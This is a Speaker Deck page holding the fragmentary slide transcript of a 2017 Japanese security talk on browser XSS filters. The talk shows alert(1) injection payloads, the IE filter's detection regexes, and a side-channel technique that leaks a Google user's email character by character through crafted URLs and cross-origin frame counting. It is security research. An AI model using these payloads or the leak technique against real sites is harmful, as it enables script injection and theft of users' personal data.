Upgrade to Pro — share decks privately, control downloads, hide ads and more …

XSSフィルターの使い方/ Shibuya.XSS techtalk #9

1a5bce24526a7d6f1ab89678df2d673c?s=47 Masato Kinugawa
March 31, 2017
Technology
7
2.5k

XSSフィルターの使い方/ Shibuya.XSS techtalk #9

2017/3/30 に行われた Shibuya.XSS techtalk #9 の発表資料です。

1a5bce24526a7d6f1ab89678df2d673c?s=128

Masato Kinugawa

March 31, 2017
Tweet

More Decks by Masato Kinugawa

See All by Masato Kinugawa
JSでDoSる/ Shibuya.XSS techtalk #11
1a5bce24526a7d6f1ab89678df2d673c?s=48 masatokinugawa
21
5.5k
Electron: Abusing the lack of context isolation - CureCon(en)
1a5bce24526a7d6f1ab89678df2d673c?s=48 masatokinugawa
5
80k
Electron: Context Isolationの欠如を利用した任意コード実行 / Electron: Abusing the lack of context isolation - CureCon(ja)
1a5bce24526a7d6f1ab89678df2d673c?s=48 masatokinugawa
9
17k
バグハンターが見てきたBug Bountyの7年 / LINE Developer Meetup #34 Security Bug Bounty
1a5bce24526a7d6f1ab89678df2d673c?s=48 masatokinugawa
18
11k
5文字で書くJavaScript/ Shibuya.XSS techtalk #10
1a5bce24526a7d6f1ab89678df2d673c?s=48 masatokinugawa
35
18k
ブラウザのUIのバグを探す / Secusoba PopUnder
1a5bce24526a7d6f1ab89678df2d673c?s=48 masatokinugawa
2
1.6k
攻撃者視点で見る Service Worker / PWA Study SW
1a5bce24526a7d6f1ab89678df2d673c?s=48 masatokinugawa
20
23k
USAGE OF XSS FILTER
1a5bce24526a7d6f1ab89678df2d673c?s=48 masatokinugawa
4
2.4k
XSS Attacks through PATH
1a5bce24526a7d6f1ab89678df2d673c?s=48 masatokinugawa
8
16k

Other Decks in Technology

See All in Technology
Step-by-Step MLOps and Microsoft Products
0fa6038e477031fcca028bab0efe07e3?s=48 shisyu_gaku
1
570
Oracle Cloud Infrastructure：2022年7月度サービス・アップデート
3115a782126be714b5f94d24073c957d?s=48 oracle4engineer
PRO
0
200
COSCUP x KCD Taiwan 2020 - 那些年我們在開源社群的日子 - Cloud Native Taiwan
E2dd1857f6fc1ff69adb2af80b56e9fc?s=48 pohsien
0
120
Autonomous Database Cloud 技術詳細 / adb-s_technical_detail_jp
3115a782126be714b5f94d24073c957d?s=48 oracle4engineer
PRO
10
19k
ReverseETLでユーザーに価値を届ける基盤を実現した話
0c847ea07895706f7435ef67d31a5f6e?s=48 hakky
0
350
今 SLI/SLO の監視をするなら Sloth が良さそうという話
Cb17938137021ead2656d0fe58b7c7b1?s=48 shotakitazawa
1
280
Cloud Foundryの移行先はどこか？ オープンソースPaaS探し
49844569246a6d183a5551bb74895e2a?s=48 kolinz
0
350
20220731 如何跟隨開源技術保持你的職涯發展
D907136acebc72f1df878541b26f271a?s=48 pichuang
0
120
JAWS-UG 朝会 #36 登壇資料
08dd0b93e011904f40d60d5a1b54c671?s=48 takakuni
1
570
ECS on EC2 で Auto Scaling やってみる！
5a6e159c3f74fb7bd85e62efe5f34e2b?s=48 sayjoy
1
260
データをコネコネ！メール配信用データ生成の仕組み
Cdb7fe48c050935995f8a6a58a5ceba9?s=48 kappezoro
0
120
ここが好きだよAWS管理ポリシー_devio2022/i_am_iam_lover
325ce6fcd0a74ff78990b8632817da55?s=48 yukihirochiba
0
3.2k

Featured

See All Featured
Making the Leap to Tech Lead
32de0bd2ba869609d26fd052a4622778?s=48 cromwellryan
113
7.4k
WebSockets: Embracing the real-time Web
E76911cbe088e5b850d966de3fc7435b?s=48 robhawkes
57
5.6k
Designing for humans not robots
D36d2c1821af9249b69ff7f5ed60529b?s=48 tammielis
242
24k
Designing for Performance
245cee81a9c424266e5e401d844ea881?s=48 lara
597
64k
A Modern Web Designer's Workflow
8081b26e05bb4354f7d65ffc34cbbd67?s=48 chriscoyier
689
180k
No one is an island. Learnings from fostering a developers community.
6bb82b13cda86d3b821fa44100335ddf?s=48 thoeni
9
1.3k
Rails Girls Zürich Keynote
24fc194843a71f10949be18d5a692682?s=48 gr2m
87
12k
実際に使うSQLの書き方 徹底解説 / pgcon21j-tutorial
88f4e84b94fe07cddbd9e6479d689192?s=48 soudai
39
13k
VelocityConf: Rendering Performance Case Studies
96270e4c3e5e9806cf7245475c00b275?s=48 addyosmani
316
22k
Happy Clients
C51b39fa3c79ccb99dcb8a076bc98287?s=48 brianwarren
89
5.6k
The Pragmatic Product Professional
1177e050db6bafe62885362edf6e3537?s=48 lauravandoore
19
3.1k
Learning to Love Humans: Emotional Interface Design
5f50f94346fbcb23706f0707169317a4?s=48 aarron
261
37k

Transcript

  1. None
  2. None

  3. ❶ ➌ ❷ ❹

  4. None

  5. https://example.com/?q="><svg+onload=alert(1)> <html> <body> <input value=""><svg onload=alert(1)>"> </body> </html>

  6. https://example.com/?q="><svg+onload=alert(1)> <html> <body> <input value=""><svg #nload=alert#1#>"> </body> </html>

  7. https://addons.mozilla.org/ja/firefox/addon/noscript/

  8. HTTP/1.1 200 OK Date: Tue, 28 Mar 2017 06:16:00 GMT

    Expires: -1 Cache-Control: private, max-age=0 Content-Type: text/html; charset=UTF-8 Server: gws X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN
  9. None
  10. None
  11. None

  12. https://example.com/?q="><svg+onload=alert(1)> https://example.com/#5382863726995448701 <input value=""><svg #nload=alert#1#>"> <input value=""><svg onload=alert(1)>">

  13. None

  14. <input value=""><svg #nload=alert#1#>"> <input value="<svg #nload=alert#1#>"> <!-- <svg #nload=alert(1)> -->

    https://example.com/?q="><svg+onload=alert(1)>

  15. <input value=""><svg onload=alert(1)>"> <input value="<svg onload=alert(1)>"> <!-- <aaa onload=alert(1)> -->

    https://example.com/?q="><svg+onload=alert(1)>

  16. https://example.com/?q="><svg+onload=alert(1)> https://example.com/#5382863726995448701

  17. <title>&lt;script&gt; - Google 検索</title> <script>(function(){window.google={kEI: [...] https://www.google.co.jp/search?q=<script>

  18. <script src=//example.jp/jquery.js></script> <script> if(jQuery){ // Expected }else{ // ??? }

    </script> https://example.com/?<script src=//example.jp/jquery.js></script>
  19. None

  20. {<a.*?hr{e}f} {[\"\'][ ]*(([^a-z0-9~_:\'\" ])|((i|(\\u0069))(n|(\\u006[Ee])))).+?{\(}.*?{\)}} [...] {(v|(&#x?0*((86)|(56)|(118)|(76));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*{(b|(&#x?0 *((66)|(42)|(98)|(62));?))}([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(s|(&#x?0*((83)|(53) |(115)|(73));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*((c|(&#x?0*((67)|(43)|(99)|(63) );?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(r|(&#x?0*((82)|(52)|(114)|(72));?))([\t]| (&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(i|(&#x?0*((73)|(49)|(105)|(69));?))([\t]|(&((#x?0*(9

    |(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&#x?0*((80)|(50)|(112)|(70));?))([\t]|(&((#x?0*(9|(13)|(10)| A|D);?)|(tab;)|(newline;))))*(t|(&#x?0*((84)|(54)|(116)|(74));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(ta b;)|(newline;))))*)?(:|(&((#x?0*((58)|(3A));?)|(colon;)))).} {<BUTTON[ /+\t].*?va{l}ue[ /+\t]*=} {<fo{r}m.*?>} {<OPTION[ /+\t].*?va{l}ue[ /+\t]*=} {<INPUT[ /+\t].*?va{l}ue[ /+\t]*=} [...] {<EM{B}ED[ /+\t].*?((src)|(type)).*?=} {[ /+\t\"\'`]{o}n\c\c\c+?[ +\t]*?=.} {<ME{T}A[ /+\t].*?((http-equiv)|(charset))[ /+\t]*=} [...] "><svg #nload=alert#1#>

  21. [ /+\t\"\'`]{o}n\c\c\c+?[ +\t]*?=. "><svg[SPACE]onload=alert(1)>

  22. "><svg onload=alert(1)> [\"\'][ ]*(([^a-z0- 9~_:\'\" ])|((i|(\\u0069))(n|(\\u006[Ee])) )).+?{\(}.*?{\)} x="";alert(1)//"

  23. None

  24. https://media.blackhat.com/bh-eu-10/presentations/Lindsay_Nava/BlackHat-EU- 2010-Lindsay-Nava-IE8-XSS-Filters-slides.pdf http://d.hatena.ne.jp/teracc/20090622

  25. https://www.slideshare.net/masatokinugawa/xxn-ja

  26. [\"\'][ ]*(([^a-z0-9~_:\'\" ])|(in)) .+?[.].+?= <script> q = "";document#body.innerHTML="<xss>"; </script> URL:

    ?q=";document.body.innerHTML="<xss>

  27. [\"\'][ ]*(([^a-z0-9~_:\'\" ])|(in)) .+?[.].+?= <script src> <script src="//example.co.jp/test.js" type="text/javascript"> </script>

    URL: ?"/++.+++=

  28. "style=:\ javascript:- vbscript:- vbs:- ",x[]= "{toString: "{valueOf:

  29. <script src="//example^co.jp/test.js" type="text/javascript"> </script>

  30. window#name//Syntax Error window^name//Syntax OK <script> window.name

  31. None

  32. url=location.search.slice(1); if(url^indexOf(":")!=-1){ url=null; } onload=function(){ if(url){location=url;} }

  33. https://example.com/?q=";alert`1`// <script> q = "";alert`1`//"; </script> https://www.slideshare.net/x00mario/es6-en/34 ECMAScript 6 from

    an Attacker's Perspective - Breaking Frameworks, Sandboxes, and everything else

  34. https://example.com/?q=${alert(1)}``//&`+++` https://example.com/?q=[USER_INPUT] <script> foo=``; q="[USER_INPUT]"; </script> <script> foo=`#; q="${alert(1)}#`//"; </script>

  35. https://example.com/?+onfiles+++=. <script src="/comm#nfiles/js/important.js" type="text/javascript"> </script> [...]

  36. https://bugs.chromium.org/p/chromium/issues/detail?id=654794

  37. None

  38. http://blog.portswigger.net/2015/08/abusing-chromes-xss-auditor-to-steal.html

  39. https://VICTIM/ https://VICTIM/?<xss> IFRAME ERROR https://ATTACKER/ win=window.open(…) if(win.length == 0){ //

    // }else{ // } <script>…</script>

  40.     

  41. https://www.youtube.com/watch?v=IMDWjKFbsJE

  42. HTTP/1.1 200 OK [...] Server: gws X-XSS-Protection: 1; mode=block X-Frame-Options:

    SAMEORIGIN

  43. https://accounts.google.com/ServiceLogin?

  44. google.ae google.as google.ca google.co google.co.in google.co.jp google.co.kr google.co.nz google.co.uk google.com.br

    google.com.mx google.de google.es google.fr google.it google.pl google.pt google.ru ...(

  45. ✨ ✨ ✨

  46. {<a.*?hr{e}f}

  47. 0 <ahref> 1 <aAhref> 2 <aAAhref> 3 <aAAAhref> 4 <aAAAAhref>

    5 <aAAAAAhref> 6 <aAAAAAAhref> 7 <aAAAAAAAhref> 8 <aAAAAAAAAhref> 9 <aAAAAAAAAAhref> 10<aAAAAAAAAAAhref> https://example.com/

  48. 0 <ahref> 1 <aAhref> 2 <aAAhref> 3 <aAAAhref> 4 <aAAAAhref>

    5 <aAAAAAhref> 6 <aAAAAAAhref> 7 <aAAAAAAAhref> 8 <aAAAAAAAAhref> 9 <aAAAAAAAAAhref> 10<aAAAAAAAAAAhref> <a%XXhref https://example.com/?<a%2Bhref

  49. 0 <ahr#f> 1 <aAhr#f> 2 <aAAhr#f> 3 <aAAAhr#f> 4 <aAAAAhr#f>

    5 <aAAAAAhr#f> 6 <aAAAAAAhr#f> 7 <aAAAAAAAhref> 8 <aAAAAAAAAhref> 9 <aAAAAAAAAAhref> 10<aAAAAAAAAAAhref> https://example.com/?<a%2Bhref

  50. 0x01-08 0x0E-1F !"$%'()*;=^`|~ 0x09-0D 0x20 + & > #,/:?[\]{} -.@_

    A a 0x00 0-9 < B-Z b-z

  51. 0x01-08 0x0E-1F !"$%'()*;=^`|~ 0x09-0D 0x20 + & > #,/:?[\]{} -.@_

    A a 0x00 0-9 < B-Z b-z

  52. <div class="gb_xb">masatokinugawa@gmail.com</div><div class="gb_pb"> {[\"\'`][ ]*(([^a-z0-9~_:\'\"` ])|(in)).+?{[.]}.+?=}

  53. ✔ ✔ ✔ ✔

  54. <div class="gb_xb">masatokinugawa@gmail.com</div><div class="gb_pb">

  55. https://www.google.co.jp/?"-------@gmail.com--div--div-class= https://www.google.co.jp/?"--------@gmail.com--div--div-class= https://www.google.co.jp/?"---------@gmail.com--div--div-class= https://www.google.co.jp/?"----------@gmail.com--div--div-class= https://www.google.co.jp/?"-----------@gmail.com--div--div-class= https://www.google.co.jp/?"------------@gmail.com--div--div-class= https://www.google.co.jp/?"-------------@gmail.com--div--div-class= https://www.google.co.jp/?"--------------@gmail.com--div--div-class= https://www.google.co.jp/?"---------------@gmail.com--div--div-class=

  56. https://www.google.de/?"-a-------------@gmail.com--div--div-class= https://www.google.de/?"-b-------------@gmail.com--div--div-class= https://www.google.de/?"-c-------------@gmail.com--div--div-class= https://www.google.de/?"-d-------------@gmail.com--div--div-class= https://www.google.de/?"-e-------------@gmail.com--div--div-class= https://www.google.de/?"-f-------------@gmail.com--div--div-class= https://www.google.de/?"-g-------------@gmail.com--div--div-class= https://www.google.de/?"-h-------------@gmail.com--div--div-class= https://www.google.de/?"-i-------------@gmail.com--div--div-class= https://www.google.ru/?"-j-------------@gmail.com--div--div-class=

    https://www.google.ru/?"-k-------------@gmail.com--div--div-class=

  57. https://www.google.ru/?"-l-------------@gmail.com--div--div-class= https://www.google.ru/?"-m-------------@gmail.com--div--div-class= https://www.google.ru/?"-ma------------@gmail.com--div--div-class= https://www.google.ru/?"-maa-----------@gmail.com--div--div-class= https://www.google.ru/?"-mab-----------@gmail.com--div--div-class= https://www.google.ru/?"-mac-----------@gmail.com--div--div-class= https://www.google.ru/?"-mad-----------@gmail.com--div--div-class= https://www.google.ca/?"-mae-----------@gmail.com--div--div-class= ...

  58. ✨ ✨ ✨

  59. None
  60. None
  61. None
  62. None

  63.   

  64.     

  65.      

  66. None